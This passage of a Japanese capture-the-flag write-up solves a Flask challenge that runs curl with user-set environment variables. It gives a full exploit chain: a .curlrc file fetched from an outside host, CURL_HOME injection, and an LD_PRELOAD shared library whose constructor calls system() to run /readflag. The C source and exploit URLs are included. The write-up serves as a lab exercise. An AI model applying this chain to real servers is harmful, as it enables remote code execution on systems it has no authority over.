    return 'hi hacker ヾ(^-^)ノ',200,{'content-type':'text/plain;charset=utf-8'}

app.run(host='0.0.0.0', port=8000)

環境変数の操作といえば LD_PRELOAD によって共有ライブラリを読み込ませるテクニックだが、適当にコンパイルした a.so のようなファイルをダウンロードさせようとしても ?? と返ってきてしまう。以下のtry-exceptの部分でどのようなエラーが発生しているか確認したところ、[Errno 11] Resource temporarily unavailable というエラーが起こっていることがわかった。

   try:
        subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,)
        result = os.read(master,0x4000)
    except:
        os.close(slave)
        os.close(master)
        return '??',200,{'content-type':'text/plain;charset=utf-8'}

これはバイナリファイルをダウンロードさせようとしているからっぽい。

$ curl http://example.com/a.so
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

ほかの環境変数でなんとかできないか調べていたところ、CURL_HOME が見つかった。これにディレクトリのパスを入れてやることで、そのディレクトリに .curlrc という設定ファイルがあれば読み込んでくれるようになるらしい。なるほど。

なんとかして共有ライブラリを適当なパスにダウンロードできるのではないかというアイデアx0r19x91さんから出たので色々試していると、.curlrc に以下のような内容を書き込むことで --output /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so というコマンドラインオプションを付与した場合と同じことをしてくれることがわかった。使えそう。

output = /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so

ということで、まず /?url=http://example.com/.curlrc&file=.curlrc で上にあるような .curlrc を用意されたディレクトリに保存する。続いて、/?url=http://example.com/evil.so&env=CURL_HOME=/app/outputs/(IPアドレスのMD5ハッシュ)/ で共有ライブラリを同様に用意されたディレクトリに保存する。この evil.so は以下のコードをコンパイルしたもので、読み込むと /readflag の実行結果を output.txt に保存する。

// gcc -shared -fPIC evil.c -o evil.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void neko(void) {
  unsetenv("LD_PRELOAD");
  system("/readflag > /app/outputs/(IPアドレスのMD5ハッシュ)/output.txt");
}

/?url=http://example.com/&env=LD_PRELOAD=/app/outputs/(IPアドレスのMD5ハッシュ)/evil.so で発火させて /view?file=output.txt からその実行結果を見るとフラグが得られた。

ASIS{is-this-a-web-chall-or-misc...hmmmmmm...idk}